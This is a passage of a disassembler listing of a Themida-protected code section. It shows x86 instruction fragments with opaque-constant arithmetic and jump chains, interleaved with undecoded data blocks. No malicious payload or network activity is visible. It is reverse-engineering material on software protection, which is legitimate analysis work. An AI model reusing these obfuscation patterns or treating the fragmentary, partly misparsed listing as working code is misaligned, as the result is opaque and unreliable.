		dd 0FF33FBE9h, 0A2C781FFh, 52B5A8C6h, 0D689FA89h, 0C7815F5Ah
		dd 56AB676Eh, 35BEC781h, 0F72943A6h, 35BEEF81h,	0EF8143A6h
		dd 56AB676Eh, 5839685Eh, 3C890000h, 2474FF24h, 243C8B04h
		dd 8F04C483h, 42E92404h, 5EFFFFC4h, 0C159CD21h,	0C58108EDh
		dd 38B51160h, 24348155h, 426F65B8h, 0FFC541E9h,	2C481FFh
		dd 0E9000000h, 0FFFEDCC3h, 79109D2Dh, 5E80128h,	2879109Dh
		dd 83242C8Bh, 48704C4h,	24248B24h, 0CE668h, 241C8900h
		dd 4EC81h, 4890000h, 64796824h,	5CE9719Eh, 55FFFF6Bh, 4BDh
		dd 246C0100h, 242C8B04h, 4C481h, 34FF0000h, 572DE924h
		dd 5266FFFFh, 0C2E9B1B6h, 81FFFEF8h, 4C4h, 1ED8100h, 0F7000000h
		dd 17F581DDh, 0E9BF60ECh, 0FFFF6047h, 8B24048Fh, 0D3662424h
		dd 0E99C240Ch, 0FFFECB5Eh, 0BB53C829h, 49766EDDh, 0A427BA2Dh
		dd 0E9D80156h, 0FFFFAEE2h, 4240481h, 8B000000h,	0E6E9242Ch
		dd 8BFFFF17h, 0C483241Ch, 0C1D8F704h, 840506E0h, 53D698B1h
		dd 0C7154ABBh, 4EBC138h, 5031EB81h, 0B951727Fh,	35C836A4h
		dd 8105E9C1h, 0CB567DC9h, 0F9E18118h, 81575B7Dh, 0EC1825E9h
		dd 98E98102h, 815C064Fh, 0CBFF16E9h, 8D79E9F3h,	0C87FFFFh
		dd 4895C24h, 0C59E924h,	34FFFFFFh, 0C4835E24h, 24048F04h
		dd 2404FE5Ch, 0CAD0E99Ch, 0E829FFFEh, 5D2434FFh, 0FFA7D0E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_565D39:				; CODE XREF: Themida_:00563433j
		add	esp, 4
		add	eax, edi
		jmp	loc_5546CE
; ---------------------------------------------------------------------------

loc_565D46:				; CODE XREF: Themida_:00553096j
		and	ebx, edx
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		jmp	loc_553B6E
; ---------------------------------------------------------------------------
		dw 9FBEh
		dd 520EBF5Dh, 0C52D41BAh, 32C28129h, 81706314h,	0E305D4EAh
		dd 1EB8E969h, 0D3B80000h, 0D028B2Eh, 41FC15E2h,	0FF16B8E9h
		dd 4EC81FFh, 89000000h,	0EC83241Ch, 0F46EE904h,	3C89FFFFh
		dd 5D43E924h, 3430FFFFh, 24343224h, 0F6243430h,	0F06866D6h
		dd 0C89663Ch, 14AA6824h, 4890000h, 68F08824h, 5CC8h, 88241C89h
		dd 24E952C3h, 81000015h, 1D619AE9h, 243C8B77h, 0FF06C3E9h
		dd 14875EFFh, 0C895C24h, 7DC9E924h, 0FF57FFFFh,	5F042474h
		dd 0E924048Fh, 2D8h, 475BDF31h,	0CCE7814Fh, 477F7A31h
		dd 6AE9BA52h, 0C2813B6Dh, 5D611DE3h, 0D52CF281h, 0D731B485h
		dd 73C6055Ah, 792D2DD7h, 0E9787F0Eh, 0FFFF8769h, 8924248Bh
		dd 0CFE9240Ch, 1FFFEC9h, 0B9515AD0h, 707A4312h,	1E981h
		dd 0EC830000h, 240C8904h, 0F75B5953h, 5957E9D3h, 0AC68FFFFh
		dd 89000071h, 0E954243Ch, 0FFFFF235h
; ---------------------------------------------------------------------------

loc_565E5C:				; CODE XREF: Themida_:00560E3Ej
		mov	edi, eax
		pop	eax
		jmp	loc_55DC00
; ---------------------------------------------------------------------------
		dd 0C80F0C2Dh, 0FBF570Ah, 4769DD4Fh, 0FF35B4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_565E75:				; CODE XREF: Themida_:0056582Fj
		not	cl
		xor	cl, 16h
		jmp	loc_561861
; ---------------------------------------------------------------------------
		db 81h
		dd 34042444h, 0E907F815h, 0FFFF061Bh, 4C481h, 0D2E90000h
		dd 83FFFF51h, 0EBE904ECh, 5EFFFF6Dh, 5C24048Fh,	4BB53h
		dd 39E90000h, 52FFFFF3h, 2A1DBB53h, 0D6BA6E3Fh,	1E84219h
		dd 0D6015BDAh, 8324148Bh, 0E6D104C4h, 4EBE681h,	31E940D9h
		dd 80FFFF3Bh, 0CE8001C6h, 0AC08E993h, 505DFFFFh, 0B95600B8h
		dd 0C85CE940h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_565EEA:				; CODE XREF: Themida_:005600D4j
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_55530E
; ---------------------------------------------------------------------------
		dw 3481h
		dd 0F5669D24h, 0F3815B14h, 14F5669Dh, 0F842E95Fh, 0C89FFFEh
		dd 131FB924h, 0BA5234D2h, 49BA7802h, 815AD129h,	0EC659CC1h
		dd 0E9CA291Eh, 0FFFFB23Bh
; ---------------------------------------------------------------------------

loc_565F2C:				; CODE XREF: Themida_:00555CC6j
		sub	ebp, 42342205h
		jmp	loc_55C981
; ---------------------------------------------------------------------------

loc_565F37:				; CODE XREF: Themida_:0055F3FDj
		pop	esi
		mov	eax, [esp]
		add	esp, 4
		mov	eax, [esp]
		push	eax
		push	esp
		pop	eax
		push	ecx
		push	ebp
		push	esi
		push	6CD467A4h
		pop	esi
		jmp	loc_55A968
; ---------------------------------------------------------------------------
		db 68h,	2 dup(0)
		dd 0BB530000h, 39E9233Bh, 4245C29h, 0EB68505Bh,	0E9000055h
		dd 0FFFF4A5Dh, 96E9E189h, 68FFFEF5h, 296Eh, 89240C89h
		dd 0CDBA52E1h, 0F71A374Bh, 164CE9DAh, 815A0000h, 0EF1865C3h
		dd 0E959532Eh, 0FFFFB7B2h
; ---------------------------------------------------------------------------

loc_565F9C:				; CODE XREF: Themida_:005665E1j
		push	edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		xchg	eax, [esp]
		pop	esp
		push	eax
		push	ecx
		mov	ecx, 4D471BD3h
		jmp	loc_55292D
; ---------------------------------------------------------------------------
		db 9, 0D7h, 5Ah
		dd 5A5F5257h, 0FFA570E9h, 24148BFFh, 0FEECE9E9h, 582B35FFh
		dd 0C1892AA2h, 32C18158h, 81358923h, 0E76BE3E9h, 0E9CD893Dh
		dd 0FFFF588Fh, 5657DD01h, 0BA350EBEh, 2BF6817Ah, 89371A43h
		dd 0FD295EF7h, 68505B5Fh, 4, 8124048Bh,	4C4h, 0F23EE900h
		dd 0E95DFFFEh, 0FFFF659Eh, 5303EEC1h, 93155FBBh, 5BDE29C4h
		dd 0FF5B26E9h, 0F7E181FFh, 0E9257C78h, 0FFFF78CDh, 5CD168h
		dd 24348900h, 5E6D31BEh, 26C6811Dh, 551AE125h, 0FF48C9BDh
		dd 8C94E935h, 0C680FFFFh, 80C6FEFFh, 0DEE978CEh, 8B000009h
		dd 0E3E92404h
		db 0CDh, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_566063:				; CODE XREF: Themida_:0055A3DFj
		mov	edi, 4
		add	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	3298h
		jmp	loc_55E384
; ---------------------------------------------------------------------------

loc_566084:				; CODE XREF: Themida_:005550BCj
		xor	[edx], eax
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_561BA5
; ---------------------------------------------------------------------------
		db 0F6h, 0F1h, 66h
		dd 68CCB60Fh, 2525h, 89241489h,	4EC83E2h, 89243C89h, 4C781E7h
		dd 81000000h, 4EFh, 243C8700h, 0FEC768E9h, 0E99AB7FFh
		dd 0FFFEEA60h, 8324248Bh, 2C8904ECh, 81E58924h,	4ECh, 24348900h
		dd 6759B850h, 40E93E72h, 0FFFFFEFFh, 8B042474h,	60682404h
		dd 89000041h, 5A542414h, 4EC81h, 4890000h, 1773E924h, 0C481FFFFh
		dd 4, 0FF1DCDE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_566115:				; CODE XREF: Themida_:005530A4j
		sub	esp, 4
		mov	[esp], edx
		push	eax
		jmp	loc_55C8A5
; ---------------------------------------------------------------------------
		db 53h,	0E9h, 74h
		db 72h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_566127:				; CODE XREF: Themida_:0055CDC7j
		mov	ah, bh
		mov	ebx, [esp]
		add	esp, 4
		pop	ecx
		mov	cl, ah
		pop	eax
		jmp	loc_55C497
; ---------------------------------------------------------------------------

loc_56613B:				; CODE XREF: Themida_:0055B84Ej
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_55594A
; ---------------------------------------------------------------------------
		dw 4B8h
		dd 1000000h, 24048BC7h,	4C481h,	0B9510000h, 2, 3359CF01h
		dd 3C31243Ch, 0EF8DE924h, 487FFFEh, 0C895C24h, 0C1595B24h
		dd 0F38105EBh, 2A20BD49h, 1C8BD989h, 4C48124h, 81000000h
		dd 163ECDC2h, 759E96Dh,	66AC0000h, 666E0A68h, 0E9240C89h
		dd 0FFFEEC82h, 240C8B54h, 8304C483h, 3C8904ECh,	9C40E924h
		dd 0C783FFFFh, 0D5F9E904h, 0CB89FFFFh, 2434FF59h, 4C48358h
		dd 0E03EE957h, 0EC83FFFFh, 241C8904h, 2E91BE56h, 0E9562706h
		dd 0FFFF54ACh, 2A26E952h, 348BFFFFh, 4C48324h, 8904EC83h
		dd 0DE9243Ch, 89FFFF10h, 25B42404h, 0FEDCB3E9h,	4E5C1FFh
		dd 0C581DDF7h, 75E2961h, 2A5BC581h, 0EA01B33Eh,	4EC835Dh
		dd 0FFFCF1E9h, 348758FFh, 24248B24h, 4EC81h, 4890000h
		dd 55E08924h, 4BDh, 0E9E80100h,	21Fh, 505E5456h, 23B7BE56h
		dd 0F0890CDBh, 5E2434FFh, 5304C483h, 193466BBh,	0F7DBF77Dh
		dd 0A5F381DBh, 0E97A3F45h, 0FFFF7C27h, 0C181E189h, 4, 4C181h
		dd 50E90000h, 83FFFF2Fh, 0EF0104C4h, 68D4B850h,	0D355C74h
		dd 5702730h, 4E6EF1DAh,	71E9C701h, 56FFFFD8h, 0FFA424E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_566299:				; CODE XREF: Themida_:0055E6A6j
		push	edi
		jmp	loc_5652B4
; ---------------------------------------------------------------------------
		db 1
		dd 241C8BD8h, 0E9E68956h, 0FFFFA528h, 4C681h, 34870000h
		dd 0AC4FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5662BA:				; CODE XREF: Themida_:0056558Dj
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		xchg	eax, [esp]
		mov	esp, [esp]
		movzx	ax, byte ptr [eax]
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_55DF08
; ---------------------------------------------------------------------------

loc_5662E1:				; CODE XREF: Themida_:0055E94Ej
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_556C67
; ---------------------------------------------------------------------------

loc_5662F5:				; CODE XREF: Themida_:00562801j
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		xchg	eax, [esp]
		pop	esp
		sub	ebx, 49BD6576h
		sub	esp, 4
		mov	[esp], edx
		push	eax
		mov	eax, 44ED5AFBh
		mov	edx, 7340BA28h
		sub	edx, eax
		pop	eax
		xor	edx, 89719BCh
		or	ebx, edx
		pop	edx
		xor	ebx, 6FB97BA8h
		sub	ebx, 16D28570h
		push	ebx
		pop	esi
		jmp	loc_55B83E
; ---------------------------------------------------------------------------

loc_56633A:				; CODE XREF: Themida_:00554182j
		mov	edx, ebp
		jmp	loc_55D41B
; ---------------------------------------------------------------------------

loc_566341:				; CODE XREF: Themida_:0055305Fj
		sub	edx, ecx
		pop	ecx
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		push	3931h
		mov	[esp], ebp
		jmp	loc_558FCE
; ---------------------------------------------------------------------------
		db 0B8h
		dd 2, 59C2C281h, 0C2295852h, 4D8EBB53h,	0C3810846h, 5014FA1h
		dd 51DFCB81h, 0EBC16B2Ah, 1DF38104h, 295EA4A4h,	87585BDAh
		dd 8CE92414h, 68FFFF39h, 526h, 24048F54h, 0FF9C79E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_566399:				; CODE XREF: Themida_:00557F74j
		pop	ecx
		add	esi, 0D08D5614h
		add	eax, 2AD85555h
		jmp	loc_55F987
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 34FF0424h, 5DE95B24h
		db 4Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5663B7:				; CODE XREF: Themida_:00553A91j
		mov	ecx, edi
		sub	esp, 4
		mov	[esp], ecx
		sub	dword ptr [esp], 6D093D5Eh
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_55FBFA
; ---------------------------------------------------------------------------
		db 81h
		dd 0A46CCEBh, 0F3814B0Ch, 0B145F7A3h, 0FF9A23E9h, 22C781FFh
		dd 31FB0E1Ah, 2434FFF8h, 81243C8Bh, 4C4h, 2EAA6800h, 25E90000h
		dd 1FFFF0Ch, 0D1015DEAh, 5A2434FFh, 8104C483h, 2C1h, 240C3300h
		dd 33240C31h, 665C240Ch, 9C2404FFh, 0FEC3D9E9h,	68FC68FFh
		dd 4890000h, 4B824h, 0BE560000h, 61B37369h, 0FF631CE9h
		dd 6F095FFFh, 242C8B1Ch, 0FF1933E9h, 4C483FFh, 0D7E9FA31h
		db 0D8h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_566453:				; CODE XREF: Themida_:00556097j
		xchg	ebp, [esp]
		jmp	loc_559F4B
; ---------------------------------------------------------------------------
		db 5Dh
		dd 42Dh, 24048700h, 243C895Ch, 0FEF623E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56646D:				; CODE XREF: Themida_:00554288j
		pop	ecx
		sub	ebp, 1
		xchg	ebx, ebp
		not	ebx
		push	ebp
		push	ebx
		pop	ebp
		pop	ebx
		xor	ebp, 0BDDDA70Ah
		sub	ecx, 5C663FD8h
		add	ecx, ebp
		jmp	loc_55C04F
; ---------------------------------------------------------------------------
		dd 0CDC3815Bh, 5210971h, 318C1652h, 522DD801h, 8B318C16h
		dd 0C483241Ch, 0D1FEE904h, 468FFFEh, 89000076h,	4832424h
		dd 3C8B0424h, 4C48124h,	68000000h, 1AFAh, 0BB241C89h, 4
		dd 364BA52h, 0EAC1346Ch, 8E2C105h, 5371F281h, 0C781C14Ch
		dd 492E1C6Dh, 0FF30C0E9h, 7EAC1FFh, 1147E9h, 24D36600h
		dd 3E99C24h, 8BFFFEC3h,	0C483240Ch, 66CBFE04h, 28F4B151h
		dd 0C4F2E9CBh, 0D029FFFEh, 242C8B5Ah, 504C483h,	71261ACCh
		dd 5C0BBF57h, 9AE91121h, 66FFFFDEh, 6824048Bh, 490Fh, 0E9240C89h
		dd 0FFFF1BA8h, 4C481h, 0C8000000h, 0FFEEACE9h, 34EF81FFh
		dd 296A3C34h, 0EF10E9CFh, 815DFFFEh, 8C6580C7h,	5FF8892Eh
		dd 25E9C709h, 0F7FFFF56h, 74ED81DDh, 0E9552B2Dh, 0FFFFBCDCh
		dd 240C8B66h, 50E08950h, 405E089h, 2D000000h, 4, 5C240487h
		dd 0BF243C89h, 4, 0FF02D5E9h, 2474FFFFh, 2434FF04h, 4C4815Eh
		dd 8F000000h, 248B2404h, 24D36624h, 4BE99C24h
		db 0C2h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_5665B3:				; CODE XREF: Themida_:005657BBj
		pop	esi
		push	ebp
		push	edx
		push	477151BAh
		jmp	loc_5559F4
; ---------------------------------------------------------------------------
		dd 8B243C87h, 4012424h,	5AE99C24h
		db 36h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5665CF:				; CODE XREF: Themida_:0055C8CDj
		xor	edx, ecx
		jmp	loc_555FE8
; ---------------------------------------------------------------------------
		dw 0E950h
		dd 0FFFF656Bh
; ---------------------------------------------------------------------------

loc_5665DC:				; CODE XREF: Themida_:0055E83Bj
		add	eax, 4
		jmp	loc_565F9C
; ---------------------------------------------------------------------------
		dw 0CB01h
		dd 5E3EB81h, 14E9476Bh
		db 0Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5665F3:				; CODE XREF: Themida_:0055FA13j
		add	ebp, 0E168CFCCh
		and	eax, ebp
		pop	ebp
		add	eax, 600C2360h
		push	ebp
		mov	ebp, 6D583105h
		push	ebx
		mov	ebx, 0AAB0A0Bh
		add	eax, ebx
		pop	ebx
		sub	eax, ebp
		push	ecx
		mov	ecx, 0AAB0A0Bh
		sub	eax, ecx
		pop	ecx
		pop	ebp
		mov	ebx, eax
		pop	eax
		jmp	loc_559444
; ---------------------------------------------------------------------------
aLHsg		db '‹$$h‘G',0
		align 4
		dd 0FECC6DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_566631:				; CODE XREF: Themida_:005626D7j
		sub	eax, ebx
		pop	ebx
		add	eax, 7ED766C4h
		add	eax, ebx
		sub	eax, 7ED766C4h
		add	eax, 1C385427h
		pop	ebx
		push	dword ptr [edi+eax*4]
		sub	esp, 4
		mov	[esp], ebx
		push	19427EB1h
		mov	ebx, [esp]
		jmp	loc_5676DA
; ---------------------------------------------------------------------------
		db 80h
		dd 0E8306DEDh, 83240C8Bh, 0C33004C4h, 3FCB951h,	0EB680000h
		dd 0E9000029h, 0FFFF2A54h, 1ADCBE56h, 0F68104FCh, 448A6A8Dh
		dd 815EF521h, 2B67F0F5h, 0FFEF895Eh, 815D2434h,	4C4h, 63C78100h
		dd 81E1B488h, 863548C1h, 81F90168h, 863548E9h, 53565F68h
		dd 2BBh, 0E9DE8900h, 0FFFFC64Dh
; ---------------------------------------------------------------------------

loc_5666C0:				; CODE XREF: Themida_:00562741j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		add	esp, 2
		jmp	loc_552BF8
; ---------------------------------------------------------------------------
		db 50h,	0E9h, 33h
		dd 83FFFFD4h, 0C86804C4h, 89000033h, 92682414h,	89000052h
		dd 50E9241Ch, 66FFFFAAh, 5624048Bh, 0FF5CECE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_566705:				; CODE XREF: Themida_:0056484Aj
		push	esi
		mov	esi, 745B61EBh
		shr	esi, 4
		jmp	loc_55E42F
; ---------------------------------------------------------------------------
aAWaPMSx	db '€Ïw€ÇÀP´M(áX',0
		dd 4DC180F9h, 28AF2C5Bh, 38B353C8h, 0E908EBC0h,	0FFFF588Fh
; ---------------------------------------------------------------------------

loc_566734:				; CODE XREF: Themida_:0055E746j
		pop	eax
		jmp	loc_563B28
; ---------------------------------------------------------------------------

loc_56673A:				; CODE XREF: Themida_:0055BDCDj
		dec	dword ptr [esp]
		pop	edi
		neg	edi
		jmp	loc_558245
; ---------------------------------------------------------------------------

loc_566745:				; CODE XREF: Themida_:00561A05j
		mov	ecx, esp
		jmp	loc_55B29D
; ---------------------------------------------------------------------------
		dd 4C781h, 0C7810000h, 4, 5C243C87h, 0FF4C63E9h, 54C381FFh
		dd 817AB149h, 97636FF3h, 0DBF74B79h, 5FA1F381h,	0C381653Dh
		dd 0F5BDBDA3h, 685BD901h, 7280h, 0E9241489h, 0FFFFF389h
		dd 0F6FCB151h, 0F151E9D9h, 6857FFFFh, 45216D4Ah, 3E45E95Fh
		dd 0E958FFFFh, 0FFFFBC01h, 92782925h, 946351Ah,	0EE94E1Fh
		dd 81FFFFA2h, 4ECh, 24148900h, 2A7D33BAh, 0AAE28123h, 5052490Eh
		dd 0FF3EC4E9h, 0FFC283FFh, 0FED923E9h, 8BC389FFh, 80E92404h
		db 4Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5667E3:				; CODE XREF: Themida_:00557B26j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_55710E
		push	6873h
		jmp	loc_5610DD
; ---------------------------------------------------------------------------

loc_5667F7:				; CODE XREF: Themida_:00560742j
		xor	edx, edi
		xor	edi, edx
		sub	edi, 140F0214h
		xchg	ebx, edi
		not	ebx
		xchg	ebx, edi
		push	edx
		mov	edx, 44B02D88h
		xor	edx, 3EA05237h
		jmp	loc_55F606
; ---------------------------------------------------------------------------

loc_566818:				; CODE XREF: Themida_:00556E60j
		mov	edi, 68B35D85h
		xor	edx, edi
		jmp	loc_5545C9
; ---------------------------------------------------------------------------

loc_566824:				; CODE XREF: Themida_:00560A96j
		xor	esi, 55580539h
		push	ebx
		push	ebp
		mov	ebp, 308C6B2Bh
		mov	ebx, ebp
		pop	ebp
		sub	esi, ebx
		mov	ebx, [esp]
		jmp	loc_55CFF9
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 55C85AE7h, 74ACC981h, 0C98177F8h, 2358313Eh,	1EE168h
		dd 24348900h, 603125BEh, 136EE93Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_566862:				; CODE XREF: Themida_:00553972j
		sub	ecx, 4
		jmp	loc_55E773
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 52000000h, 630BE3BAh, 57CA8147h, 8176DC42h, 1B4EB8F2h
		dd 3EAC135h, 822E950h, 17680000h, 8900007Eh, 0BEE9240Ch
		dd 89FFFEC9h, 10BB241Ch, 817C1975h, 966D16EBh, 2EBC154h
		dd 0E381DBF7h, 18DA7CFEh, 3BFEEB81h, 5C01101Ah,	8B5B0424h
		dd 0C483243Ch, 7DBBE904h, 0C781FFFFh, 4, 5C243C87h, 2474FF56h
		dd 0F43CE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5668DE:				; CODE XREF: Themida_:005595D2j
		mov	ebp, 2E367F5Ch
		dec	ebp
		neg	ebp
		shr	ebp, 2
		push	ecx
		jmp	loc_557D30
; ---------------------------------------------------------------------------
		db 29h
		dd 0CDEA81CAh, 8B6D163Eh, 8950240Ch, 405E0h, 0C0830000h
		dd 24048704h, 0DB39E95Ch, 8BBAFFFFh, 1AE02E9h, 2434FFD6h
		dd 4C4835Ah, 348B5B56h,	4C48124h, 0E9000000h, 0FFFFE2CCh
		dd 5C241487h, 53241489h, 0FEF7CDE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_566939:				; CODE XREF: Themida_:0055C394j
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_561E03
; ---------------------------------------------------------------------------
		dd 33119DBFh, 0C640E97Eh, 0EB81FFFEh, 7E9A4300h, 125EE9h
		db 0
; ---------------------------------------------------------------------------

loc_566959:				; CODE XREF: Themida_:0055E8BDj
		add	edx, 77D1260h
		mov	ebp, [esp]
		jmp	loc_566C6D
; ---------------------------------------------------------------------------
		db 89h
		dd 4A7CE9E5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56696E:				; CODE XREF: Themida_:00554962j
		sub	dword ptr [esp+8], 553541C6h
		add	[esp+8], edi
		add	dword ptr [esp+8], 553541C6h
		mov	edi, [esp]
		add	esp, 4
		pop	ebp
		pop	esi
		push	ebp
		mov	ebp, 17A16A20h
		push	2E15h
		mov	[esp], edi
		mov	edi, 6A5D5216h
		add	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5577DB
; ---------------------------------------------------------------------------
		dd 23226C05h, 24348B1Bh, 4EC81h, 2C890000h, 2C8B5424h
		dd 392CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5669CA:				; CODE XREF: Themida_:0055B2EEj
		jnz	loc_56435E
		sub	esp, 4
		jmp	loc_5628E2
; ---------------------------------------------------------------------------
		db 0F7h
		dd 72EBE9DEh, 0C481FFFFh, 4, 3AAB6848h,	3C890000h, 9928E924h
		dd 2489FFFFh, 24048124h, 4, 8B2434FFh, 0C4812434h, 4, 4C481h
		dd 0BB530000h, 6990707Ch, 0FF90FAE9h, 10E7BEFFh, 0F30104B0h
		dd 3C8B585Eh, 4C48124h,	0E9000000h, 0FFFFEBA6h,	0FEBDC5E9h
		dd 0B45051FFh, 31F480EBh, 0E902E4C0h, 0FFFFD860h
; ---------------------------------------------------------------------------

loc_566A48:				; CODE XREF: Themida_:00561E34j
		xor	esi, 40CA41C4h
		add	edx, esi
		pop	esi
		mov	ecx, edx
		pop	edx
		jmp	loc_55834B
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 890005B9h, 0FC18170h, 0E95A4B72h, 0FFFF82C9h, 0E95FFA89h
		dd 0FFFEF6B6h
; ---------------------------------------------------------------------------

loc_566A74:				; CODE XREF: Themida_:00559D4Fj
		add	ebx, 4
		add	ebx, 4
		jmp	loc_561268
; ---------------------------------------------------------------------------
		db 0B8h, 6Ah, 17h
		dd 0FBE95DF3h
		db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_566A8F:				; CODE XREF: Themida_:0055F8AAj
		pop	edi
		xchg	ebp, [esp]
		pop	esp
		push	ebp
		push	esp
		pop	ebp
		push	edx
		mov	edx, 4D975EB1h
		shr	edx, 1
		jmp	loc_566D10
; ---------------------------------------------------------------------------
aQhp0		db 'QhP0',0
		align 2
		dw 1E9h
		dd 0FFFFFF94h, 0FF042474h, 0E95A2434h, 0FFFF6532h, 0FAE9DD29h
		dd 0F6FFFED1h, 0E95351DAh, 0FFFF407Bh, 2BBh, 5BD88900h
		dd 0E958C789h, 0FFFF4862h, 0FF2434FFh, 81582434h, 4C4h
		dd 4EC8100h, 89000000h,	8168240Ch, 89000040h, 0BF572424h
		dd 4, 4247C01h,	0FCE9595Fh
		db 0EEh, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_566B0B:				; CODE XREF: Themida_:00562A16j
		pop	ebp
		add	esp, 4
		jmp	loc_55E18F
; ---------------------------------------------------------------------------

loc_566B14:				; CODE XREF: Themida_:00559303j
		sub	cl, 0F6h
		push	dx
		push	ebx
		mov	bh, 3
		mov	dh, 0D7h
		add	dh, bh
		pop	ebx
		xor	cl, dh
		pop	dx
		jmp	loc_563462
; ---------------------------------------------------------------------------

loc_566B2A:				; CODE XREF: Themida_:00557CFEj
		xor	edi, 58323B32h
		jmp	loc_55BDE2
; ---------------------------------------------------------------------------
		db 0ADh, 51h, 0B9h
		dd 27706C88h, 0C8BC801h, 64A16824h, 14890000h, 0E9E28924h
		dd 59Bh, 8246C81h, 7FE04014h, 81240C8Bh, 4C4h, 246C8100h
		dd 80150804h, 246C817Eh, 43734504h, 598E97Fh, 295E0000h
		dd 90E95DEBh
		db 0CDh, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_566B7F:				; CODE XREF: Themida_:0055ABD6j
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_55596A
; ---------------------------------------------------------------------------

loc_566B8E:				; CODE XREF: Themida_:00563CC1j
		add	ecx, 4
		jmp	loc_554933
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 0BFh
		dd 40740B07h, 0F051512Dh, 0B66B3544h, 0C2012F1Ah, 4C28358h
		dd 8B241487h, 22E92424h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_566BBB:				; CODE XREF: Themida_:005606D8j
		add	eax, edi
		sub	eax, 0DB74D59h
		pop	edi
		push	782Eh
		mov	[esp], edi
		push	55D5h
		mov	[esp], ebx
		push	4
		mov	ebx, [esp]
		push	5D69h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	esi
		mov	esi, 6DB86997h
		and	esi, 8F73AE2h
		inc	esi
		dec	esi
		or	esi, 3B392781h
		sub	esi, 3BB92F7Fh
		add	ebx, esi
		pop	esi
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_5673AA
; ---------------------------------------------------------------------------
		db 50h
		dd 405E089h, 0E9000000h, 0FFFEE4E3h
; ---------------------------------------------------------------------------

loc_566C20:				; CODE XREF: Themida_:0056221Bj
		mov	ah, 1Ah
		jmp	loc_567B65
; ---------------------------------------------------------------------------
		db 33h
		dd 0C31240Ch, 0BD9BE924h, 0C481FFFEh, 4, 0E95BDF31h, 0FFFF974Ch
; ---------------------------------------------------------------------------

loc_566C40:				; CODE XREF: Themida_:00557955j
		add	al, 3Bh
		sub	bl, al
		pop	eax
		jmp	loc_565ABB
; ---------------------------------------------------------------------------

loc_566C4A:				; CODE XREF: Themida_:00562AAFj
		push	0DC5h
		mov	[esp], ebx
		push	esp
		jmp	loc_556A22
; ---------------------------------------------------------------------------
		dd 0D1D1F758h, 6AE981E1h, 1123A5Ch, 2434FFCAh, 0FF9C09E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_566C6D:				; CODE XREF: Themida_:00566962j
		add	esp, 4
		push	6CC8h
		jmp	loc_55FC14
; ---------------------------------------------------------------------------
		db 0F7h, 0DEh, 0C1h
		dd 0F68108EEh, 1E01C736h, 565EF121h, 0B120BCBEh, 81464644h
		dd 6A73E0EEh, 47FE874Ch, 0FF437CE9h, 59C829FFh,	3B6E68h
		dd 24148900h, 5B03C5BAh, 0E2C14228h, 0E9DAF707h, 0FFFF7A3Ch
		dd 65F7BE56h, 14E937D8h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_566CC7:				; CODE XREF: Themida_:0055FB74j
		xchg	ebx, esi
		jmp	loc_564F7B
; ---------------------------------------------------------------------------
		dw 685Ah
		dd 0Bh,	0FF241C89h, 8B042474h, 0F3E9241Ch, 5EFFFED7h, 81E28952h
		dd 4C2h, 4C28300h, 5C241487h, 8F04C483h, 59E92404h, 81FFFF93h
		dd 0AF370CF7h, 3C09E973h, 0E954FFFFh, 0FFFF8297h
; ---------------------------------------------------------------------------

loc_566D10:				; CODE XREF: Themida_:00566A9Fj
		not	edx
		inc	edx
